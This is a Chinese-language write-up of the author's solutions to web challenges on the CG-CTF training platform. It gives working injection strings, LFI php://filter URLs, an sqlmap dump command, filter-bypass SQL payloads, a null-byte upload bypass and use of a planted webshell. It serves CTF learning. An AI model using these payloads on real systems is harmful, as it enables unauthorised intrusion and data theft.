南邮CTF - Writeup

南邮CTF攻防平台Writeup

By:Mirror王宇阳

个人QQ欢迎交流:2821319009

技术水平有限~大佬勿喷 ^_^

Web题

签到题:

直接一梭哈……

南邮CTF - Writeup_第1张图片

md5 collision:

题目源码提示:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

呃……脑中闪过“PHP弱类型”于是乎……当然是Google找一下喽!

QNKCDZO的md5(32)加密后:0e830400451993494058024219903391

结合 $md51 == $md52 就要0e开头的md5碰撞!感谢Google!

构造:http://chinalover.sinaapp.com/web19/?a=s878926199a

南邮CTF - Writeup_第2张图片

签到2:

本能的直接源码搜哈……

南邮CTF - Writeup_第3张图片

发现了字符输入限制10位字符,而给出的指令是11位!得嘞……前端能看见的都能改 maxlength="11"只要限制字符数超过11或等于11位就行!

这题不是Web:

题目都说了!这题不是web!然而面对这页面……除了图片还有啥?

南邮CTF - Writeup_第4张图片

既然只有图片那么我就要再拿出宝贝了!WinHex (十六进制查看器)

南邮CTF - Writeup_第5张图片

**多显然的flag呀^_^……**

层层递进:

说来惭愧……看了源码一脸懵逼……于是我分析题目发现硬核推荐的微博也没得线索

南邮CTF - Writeup_第6张图片

在仔细一想!算了还是扣源码吧于是一个手滑……

南邮CTF - Writeup_第7张图片

南邮CTF - Writeup_第8张图片

没错!随便点了一下,进一个有一个!于是按照 SO.html 一路点下去

以为有惊喜!结果……

南邮CTF - Writeup_第9张图片

这是什么鬼呀……

不过!哪位高手给那摩多注释,难不成睡觉的时候按到了 Ctrl+C 吗 ???

然而其中暗藏玄机……

南邮CTF - Writeup_第10张图片

AAencode:

这个题目就得Google了解(这个东西叫做颜编码

首先,看看这页面……不太像颜编码呀?

南邮CTF - Writeup_第11张图片

更像是乱码……于是!换一个编码呗!

南邮CTF - Writeup_第12张图片

南邮CTF - Writeup_第13张图片

这样才对嘛……

下一步就是要借助 Chrom 浏览器了(当然了在线的AAencode工具也可以)

南邮CTF - Writeup_第14张图片

单身二十年:

唉……这题目说的就是我呀!踩过前面题目的坑了!俺得好好的留意题目的提示:“手速”,也就是速度快呗……

南邮CTF - Writeup_第15张图片

南邮CTF - Writeup_第16张图片

不在?但是首页告诉我可以找到呀!为什么呢?

手速……手速……手速……

后来留意了一下!

南邮CTF - Writeup_第17张图片

原来索引的位置不对呀!

南邮CTF - Writeup_第18张图片

看了一下跳转!原来这个没有flag页面是从 http://chinalover.sinaapp.com/web8/search_key.php 页面跳转的

Burp抓包看一眼

南邮CTF - Writeup_第19张图片

在上一个页面有一个自动跳转……难怪要求手速快呢!难道不是要求“眼速快”吗?

PHP decode:

题目源码:“ 见到的一个类似编码的shell,请解码 ”

傻傻的看了源码两三分钟!然后发现……一执行就有结果了!

南邮CTF - Writeup_第20张图片

文件包含:

题目直接提示了:LFI

南邮CTF - Writeup_第21张图片

点击,但又说不???

从源码中发现:file包含了show.php文件,也就表示,file就是文件包含属性,

既然提示我们可以利用LFI,那么就……读一下源码php吧!

http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php

利用php协议php:filter读取本地任意文件(file:// 需要详细的URL路径才可以哦)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

    asdf
    
click me? no';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>

哎呀!一不小心~flag出来了^_^

单身一百年也没用:

啥意思?又来套路……Burp启动

南邮CTF - Writeup_第22张图片

居然没一点坑……呵呵

看到题目提示:

南邮CTF - Writeup_第23张图片

0就是的意思!那么1就是的意思喽

南邮CTF - Writeup_第24张图片

南邮CTF - Writeup_第25张图片

简单通过……

MySQL:

按照提示:“Do you know robots.txt” 我们看一下robots文件

南邮CTF - Writeup_第26张图片

通过对源码的分析sql.php页面要求我们提交一个$id参数,使intval($_GET[id])==1024,但是$_GET[$id]== 1024 为假!也就是说我们需要同时保证两个条件同时成立且为真。

int intval ( mixed $var [, int $base = 10 ] )

构造:函数转为int整型

http://chinalover.sinaapp.com/web11/sql.php?id=1024e1

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

………………

GBK Injection:

哈哈!粗暴的题目!告诉我们GBK注入(宽字节注入)

直接丢进SQLmap跑一遍

python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump

南邮CTF - Writeup_第27张图片

嗯!确实全程sqlmap自动化,有点脸皮厚了……

/x00:

题目直接给出源码:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

从源码分析来看:输入的$nctf值必须符合“^[1-9]+$”正则;且可以在strpos()函数中找到“#biubiubiu”字符!

头疼……不能输入字符?Google一下了解函数的缺陷吧!

按照题目给的提示:“/x00” 发现ereg函数存在截断漏洞:%xx截断遇到%00则默认字符串结束;而strpos函数则越过或是说识别%00截断后面的字符内容。

构造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

bypass again:

提示是“弱类型(参考文章)”;源码梭哈一波:

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
        die('Flag: '.$flag);
    else
        print 'Wrong.';
}

啥玩意?在找一找“0exxx”开头的hash值;遇到了两题这样的!就顺便解释一下为什么0e开头的会相等于呢??因为“0e”开头的都会按照科学计数法转为最后的整型数“0”。

构造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

变量覆盖:

题目就是指引!Google了解一下……

首先分析php源码核心部分……

简单的解析一下源码函数:

extract():从数组中将变量导入当前符号表;key>变量名 ; value>变量值。

我们只需要覆盖变量并实现$pass == $thepassword_123就可以得到flag了!

post提交pass=123&thepassword_123=123 就会被后台认为$pass=123、$thepassword_123=123 实现变量覆盖……

伪装者:

神秘叨叨的……

南邮CTF - Writeup_第28张图片

burp打开!xff头改成127.0.0.1

南邮CTF - Writeup_第29张图片

居然不对……按理来说改下X-Forwarded-For就可以了呀!!!

于是我Google了一下伪造客户端IP的方法,发现除了X-F-F方法以外,还有一种Client-IP

南邮CTF - Writeup_第30张图片

上传绕过:

题目提示我们猜猜源码是如何写的!


这HTML页面时非常简单的文件上传的功能,题目是要求绕过!

南邮CTF - Writeup_第31张图片

按照返回结果,可以确定,我们只有上传的是可以解析的PHP文件才可以返回flag!

而且只允许jpg、gif、png等格式文件……

观察一下返回数据包是如何后端校验文件格式的!初步推定:后台校验文件是否为图片格式以后再判断是否为php格式文件!

在后台会把file上传的文件名和源码中的dir元素Value进行拼接;转向dir元素,因为它藏在源码里!必然有用!再仔细的观察了第二个检验php文件报错回显:

通过“/uploads”目录下的文件进行校验;回想两次校验的不同,第一次校验图片格式的时候是读取上传文件的后缀名,第二次校验是根据目录来找到文件进行校验!

我们首先是绕过第一道图片格式校验的检查,那么就要求我们的文件必须再上传的时候是图片格式。而保存的时候是dir元素的value和filename进行拼接的;如果我们修改了dir元素的value=“/uploads/1.php0x00” 也就是说在file经过第一道校验后与dir元素value拼接:“/uploads/1.php0x00test.jpg” 而这段在后台被执行的时候被00截断,保存为:“/uploads/1.php”

南邮CTF - Writeup_第32张图片

SQL注入:

题目给了源码分析一波:

'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "

Logged in! flag:********************

"; } if($query[user] != "admin") { echo("

You are not admin!

"); } } echo $query[user]; ?>

源码告诉我们输入的字符串两侧的空白字符会被删掉;然后如何拼接字符;在者就是告诉我们admin用户可以获得flag,意味着我们要利用admin的身份注入!(手工注入)

经过观察构造sql:

select user from ctf where (user='admin')#') and (pw='".$pass."')

我们需要的是构造user数据提交给后台:user=admin')#&pass=12345

pass check:

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass)){
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    }else{
        echo "the pass is wrong!";
    }
}else{
    echo "please input pass!";
}

题目给出了源码;分析一波……

strcmp():比较两个字符串,且大小写敏感; str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0;结合函数和源码:pass==pass1 时返回flag

Google一下函数缺陷:期待的是传入“合法字符串”,如果传入的是非法的字符串则返回 return 0

既然指导了函数比较的缺陷,那么我们就传入一个不合法的字符串,比如数组……

php为了可以上传一个数组,会把上传的变量结尾带一对中括号当作数组上传:key[]=xx

起名字真难:

= $one) && ($digit <= $nine) )
               { // 判断number内有没有1~9的数字字符:有则返回false
                       return false;  
               }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

综合分析源码:要求输入的key不可以在1~9之间,但是要求等于54975581388

一开始也是比较烦的但是发现它的数字限制不包括“0”;于是想到了“十六进制

key传入十六进制数,在数字检查中可以避开的,因为54975581388=0xccccccccc

密码重置:

题目要求对admin管理账户进行密码重置,而邮箱收到了重置密码的邮件html

南邮CTF - Writeup_第33张图片

南邮CTF - Writeup_第34张图片

抓包结果来看,我们需要以admin的身份重置密码!同时也留意到url中的user1=Y3RmdXNlcg==base解密结果为url1=ctfuser

南邮CTF - Writeup_第35张图片

SQL Injection:*

打开F12发现,源码被注释了!

#GOAL: login as admin,then get the flag; 以管理员身份登录,然后获取flag
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str);
        // stripslashes():删除反斜杠
    }
    return htmlentities($str, ENT_QUOTES);
    //把$str字符转换为 HTML 实体  ENT_QUOTES:编码可用双引号和单引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

从源码分析来开,重要的就是单引号也会被编码!意味着我们输入的单引号也会被编码

构造:http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23 `

SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE 
name='\' AND pass='                 『 [name]的值为 [' AND pass=]  ,显然逻辑值为false 』
or 1                                『 但没关系,[false or 1] 的逻辑值为真』 
#'                                  『 注释掉多余的单引号 』
即
select * from users where false or 1

SQL注入2:

源码:

str2或str1==str2都返回“0”
                            // 也就是当passmd5处理后的值小于query[pw]就可以绕过
          echo "

Logged in! Key: ntcf{**************}

"; } else { echo("

Log in failure!

"); } } ?>

题目提示我们使用”union“方法……

我们输入的user 通过post提交给$user,后台通过$user返回pw字段,在strcasecmp()函数中比较pw和$pass。这是 正常的功能流程。

我们利用的点就是strcasecmp()函数的比较缺陷,这是我一开始的想法,但是想到题目的提示:“union”

于是我想到了利用闭合union的方法;

构造user='union select md5(a)# &pass=auser的value为空,不存在该查询则执行不成功;就会把union后一个查询显示在pw字段里,即我们查询的是md5(a),结合sql语句的拼接,pw字段==md5(a)。

南邮CTF - Writeup_第36张图片

综合题1:

南邮CTF - Writeup_第37张图片

是不是看不懂?没啥看不懂得!这就是JsFuck

解码后得到:1bc29b36f623ba82aaf6724fd3b16718.php构造访问后:

南邮CTF - Writeup_第38张图片

Response告诉我们tip字段提示:history of bash (bash的历史)

南邮CTF - Writeup_第39张图片

发现了 flagbak.zip,构造URL下载该文件并打开

南邮CTF - Writeup_第40张图片

综合题2:*

南邮CTF - Writeup_第41张图片

南邮CTF - Writeup_第42张图片

南邮CTF - Writeup_第43张图片

南邮CTF - Writeup_第44张图片

查看到最后一个sm.txt(本CMS说明)页面的时候发现了新大陆!

在这里它列出了:config.php index.php passencode.php say.php sm.txt 和admin表结构

同时我们分析URL时候,发现这个页面存在文件包含哦~~~

知道了那么多源码的文件名,我们试一试~~~

  • index.php源码文件:

    没有利用之处,不占篇幅了……
  • passencode.php

    处理用户输入的密码并进行ASCII加密处理

  • say.php

     alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo ""; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo ''; ?>

    处理用户留言板的留言系统

  • config.php 不给读 ……

  • so.php

        搜索留言   
        '.antixss($rs['say']).'
    '; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>

    哦对了!这个页面在之前就有问题,就是限制了浏览器访问!

    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")”喏~

查完了sm.txt给的php文件,却忘记了about.php这个页面;点击sm.txt的那个链接后来到了/about.php?file=sm.txt 一直在包含其它文件,却忘了about.php

 
    alert('敏感目录,禁止查看!但是。。。')"; 
        } 
    }

看到了一丝曙光:有一个敏感目录loginxlcteam

南邮CTF - Writeup_第45张图片

打开一看,是个后台登录页面!是不是都瞬间有一种sql注入的冲动!但是我的直觉告诉我~~不可信

果然,看了一下前辈的思路,他们在so.php中发现了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等文件被包含,其中antiinject.php文件就是防止sql注入的

知道了有防注入的文件,就回到一开始发现的文件包含的位置查看该源码:

从源码中发现:过滤了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="等关键字

应对的绕过方法

应对关键字过滤,防御方式是把关键敏感单词变为空;可以采用复写的方式,即“ununionion”当过滤的时候,就会把中间的关键单词变为空;

应对过滤空格;采用/**/方式绕过;(当然了,也可以采用圆括号的方式)

明白了绕过的方法,就需要来sql注入了!注入点在哪?前辈给的方向是so.php

    '.antixss($rs['say']).'
'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>

哦!对了,有一点要说一下哈~~~这个页面处理的是用户的留言数据,id内容实际上是留言板的ID,利用union select *,…

  • 确定字段:

    2 union select 1,2,3,4

  • 注入构造:

    • 表结构:

      create table admin (
          id integer,
          username text,
          userpass text,
      )

    知道了表结构,就不用猜库、猜表了

    直接查数据……

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4

    pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4

    name:admin

  • http://cms.nuptzj.cn/loginxlcteam/index.php后台中登录

南邮CTF - Writeup_第46张图片

  • 打开xlcteam.php文件(利用之前发现的文件包含)

     '|.*|e',); 
      array_walk($arr, $e, ''); 
    ?>

    一开始看不懂这个马!后来查了一下代码得知:三参数回调函数

    array_walk(array,function,parameter):

    ​ array:数组

    ​ function:用户自定义的函数名称(preg_replace:正则函数)

    ​ parameter:可选

南邮CTF - Writeup_第47张图片

菜刀一连!找到flag文件就可以了……

这是CG-CTF做的最充裕、收获最大的一题

密码重置2:

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

我们从源码中观察到了管理员邮箱:[email protected]

Vi编辑器 + 留下备份文件:vi的备份文件格式是:.[filename].swp

构造访问:http://nctf.nuptzj.cn/web14/.submit.php.swp

下载文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
        // 要求token为十位且为零 否则退出脚本并输出fail
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){ //只有当sql查询的count(*)也就是num大于或等于零的时候才会输出flag
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

综上!我们知道了获得flag的方法:

​ 输入的用户名为:[email protected]

​ 输入的token:十位数且为“0”(符合提示的第三条)

要求十位数且结果为零的花,又想到了科学技术法 token=0e12345678

file_get_contents:

页面源码:

从源码提示来看:要求我们包含的文件中的内容是“meizijiu”,并用file_get_contents()函数读取

这里需要引用的技术就是php协议:php://input:功能就是将data数据写入并可执行; 访问请求的原始数据的只读流。

变量覆盖2:

源码:

foreach($_GET as $key => $value){  
    // foreach():循环语句 常用于遍历数组
    // GET方式传入数组
        $$key = $value; //可变变量,一个可变变量获取了普通变量的值,作为这个可变变量的值
    /* $$x:解释 ~ ~ ~
         $x = "abc";  
         $$x = 200;  
         echo $x."
"; // abc echo $$x."
"; // 200 echo $abc; // 200 》 $abc <= $$x <= $x == abc //也就是$$x 把 $x 的值变成了一个变量 */ } if($name == "meizijiu233"){ echo $flag; }

GET传入数组['name'=>'meizijiu233']

构造:http://chinalover.sinaapp.com/web24/?name=meizijiu233


By:Mirror王宇阳 2019年12月6日

留:周末刷了南京邮电大学CTF平台的Web题,以上是个人总结的思路Writeup

注:平台又小部分题目,笔者这里无法打开,所以就没有做……

最后附上平台网址:https://cgctf.nuptsast.com/challenges#Web

**感谢CG-CTF平台给的环境哦&_&**

你可能感兴趣的:(南邮CTF - Writeup)